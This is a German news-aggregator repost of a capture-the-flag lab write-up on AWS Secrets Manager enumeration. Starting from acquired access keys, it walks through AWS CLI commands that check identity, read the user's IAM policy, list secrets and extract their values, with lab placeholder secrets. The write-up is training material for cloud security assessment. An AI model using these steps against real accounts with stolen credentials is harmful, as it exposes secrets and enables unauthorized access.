🪟 Windows TippsAndroid 17: Neue Version ist hier – Das ist alles neu(16.09.2026 um 11:40 Uhr)
🕵️ Hacking12 Best CASB Solutions Compared (2026): Features & Pricing(16.09.2026 um 09:31 Uhr)
🕵️ Hacking12 Best CIEM Tools Compared (2026): Features & Pricing(16.09.2026 um 09:37 Uhr)
🪟 Windows TippsAndroid 17: Neue Version ist hier – Das ist alles neu(16.09.2026 um 11:40 Uhr)
🕵️ Hacking12 Best CASB Solutions Compared (2026): Features & Pricing(16.09.2026 um 09:31 Uhr)
🕵️ Hacking12 Best CIEM Tools Compared (2026): Features & Pricing(16.09.2026 um 09:37 Uhr)

🔧 Programmierung 🕛 vor 2 Monaten 3 Min Lesezeit
0

cybr.com [LAB] Introduction to Secrets Manager Enumeration (AWS Red Teaming)

↗ Quelle (dev.to)
🗣️ Stimme:
📑 Inhaltsübersicht

During a cloud security assessment, enumeration is a critical phase. It allows you to understand your current permissions, map out the available attack surface, and identify potential misconfigurations or exposed sensitive data. This writeup walks through a hands-on lab demonstrating how to perform credential enumeration, list secrets, and extract sensitive payloads using the AWS CLI.









Part 1: Initial Identity Enumeration



Every cloud security assessment begins with determining who you are in the environment. Using an acquired set of AWS access keys, the first step is to call the Security Token Service (STS) to get the current identity context.




CODE
aws sts get-caller-identity --profile SecretsManagerEnum






The command returns the following JSON structure:




CODE
{  
"UserId": "AIDAQGYBPW3JHDS5K4A75",
"Account": "014498641618",
"Arn": "arn:aws:iam::014498641618:user/Julie"
}






The output confirms that the credentials belong to an IAM user named Julie within account 014498641618.






Part 2: Privilege and Policy Assessment



Knowing the identity is Julie, the next objective is to find out what Julie is authorized to do. We query IAM to list the inline policies attached directly to this user account.




CODE
aws iam list-user-policies --user-name julie --profile SecretsManagerEnum









CODE
{  
"PolicyNames": [
"AllowReadSecretsManager"
]
}






An inline policy named AllowReadSecretsManager exists. To view the exact permissions granted by this policy, we pull the specific policy document.




CODE
aws iam get-user-policy --user-name julie --policy-name AllowReadSecretsManager --profile






The policy details reveal three distinct permission blocks:




CODE
{
"UserName": "julie",
"PolicyName": "AllowReadSecretsManager",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:ListPolicies",
"iam:ListPolicyVersions",
"iam:GetPolicy",
"iam:GetUser",
"iam:GetUserPolicy",
"iam:ListUserPolicies"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "AllowIAMActions"
},
{
"Action": [
"secretsmanager:GetSecretValue",
"secretsmanager:ListSecretVersionIds",
"secretsmanager:GetResourcePolicy",
"secretsmanager:DescribeSecret"
],
"Effect": "Allow",
"Resource": [
"arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-password*",
"arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-api-key*"
],
"Sid": "AllowSecretsManagerActions"
},
{
"Action": [
"secretsmanager:ListSecrets"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "AllowListSecrets"
}
]
}
}









Policy Analysis




CODE
AllowIAMActions: Allows the user to perform read-only enumeration on IAM profiles and policies.

AllowListSecrets: Grants the ability to list all available metadata for secrets in this account across any resource path.

AllowSecretsManagerActions: Restricts the actual extraction of secret values exclusively to two target prefixes: sm-enumerate-password* and sm-enumerate-api-key*.






Part 3: Enumerating Secrets Manager



With verification that secretsmanager:ListSecrets is permitted globally, we execute a command to discover what secrets exist in the region.



CODE
aws secretsmanager list-secrets --profile






The output highlights two secrets matching the resource restrictions found in the IAM policy:




CODE
Secret Name: sm-enumerate-password

ARN: arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-password-cSojGz

Secret Name: sm-enumerate-api-key

ARN: arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-api-key-zShLNz






Part 4: Extracting and Decoding the Flag



Since the policy explicitly permits secretsmanager:GetSecretValue for these specific names, we can query the values directly.

Extracting the Password



CODE
aws secretsmanager get-secret-value --secret-id sm-enumerate-password --profile









CODE
{  
"ARN": "arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-password-cSojGz",
"Name": "sm-enumerate-password",
"SecretString": "{\"password\":\"cybr-labs-are-super-fun-2211\"}"
}






Extracting the API Key




CODE
aws secretsmanager get-secret-value --secret-id sm-enumerate-api-key --profile









CODE
{  
"ARN": "arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-api-key-zShLNz",
"Name": "sm-enumerate-api-key",
"SecretString": "{\"secret-api-key\":\"Y3lici1sYWJzLWZha2UtYXBpLWtleS0xMTIy\"}"
}






The SecretString for the API key contains a Base64-encoded string: Y3lici1sYWJzLWZha2UtYXBpLWtleS0xMTIy.






Decoding the Flag



To complete the Capture the Flag challenge, the Base64 value must be passed to a decoder. Running this locally via Linux utility tools:




CODE
echo "Y3lici1sYWJzLWZha2UtYXBpLWtleS0xMTIy" | base64 -d






Decoded Capture the Flag Value:

cybr-labs-fake-api-key-1122






PWNSOME REFERENCES:



https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/#cli-aws-secretsmanager

Vollständiger Original-Artikel
Den kompletten Beitrag mit allen Details direkt auf dev.to lesen.
↗ Original-Artikel auf dev.to lesen
Wie bewertest du diesen Beitrag?
1 Klick Feedback
Teilen mit Netzwerk & Team:

Community-Analysen & Experten-Meinungen 0

Verfasse deine eigene Analyse, teile Workarounds oder diskutiere diesen Vorfall im Blog.
Noch keine Community-Analyse verfasst. Markiere einen Textabschnitt oder klicke oben auf Eigene Analyse verfassen“!
Community Pulse: Relevanz-Einschätzung
1 Klick Experten-Votum
🔴 Akute Relevanz 0%
🟡 In Evaluierung 0%
🟢 Keine Auswirkung 0%
Spannende Innovation 0%
Verwandte Story-Cluster & Quellen (Vektor-KI)
Port 8095 Engine
2 Quellen
CVE-2026-88255 | ZenHive mpp up to 0.16.1 Duplicate Submission Gate lib/mpp/replay.ex reserve_hash_atomic input validation (EUVD-2026-80256)
1 Quelle
Android 17: Neue Version ist hier – Das ist alles neu
1 Quelle
Die entscheidende Hürde: Xpeng will deutsch und nicht chinesisch sein
Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten cybr.com [LAB] Introduction to Secrets Manager Enumeration (AWS Red Teaming)

Thematisch verwandte Begriffe: cybrcom, Introduction, Secrets, Manager · 6 Treffer

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...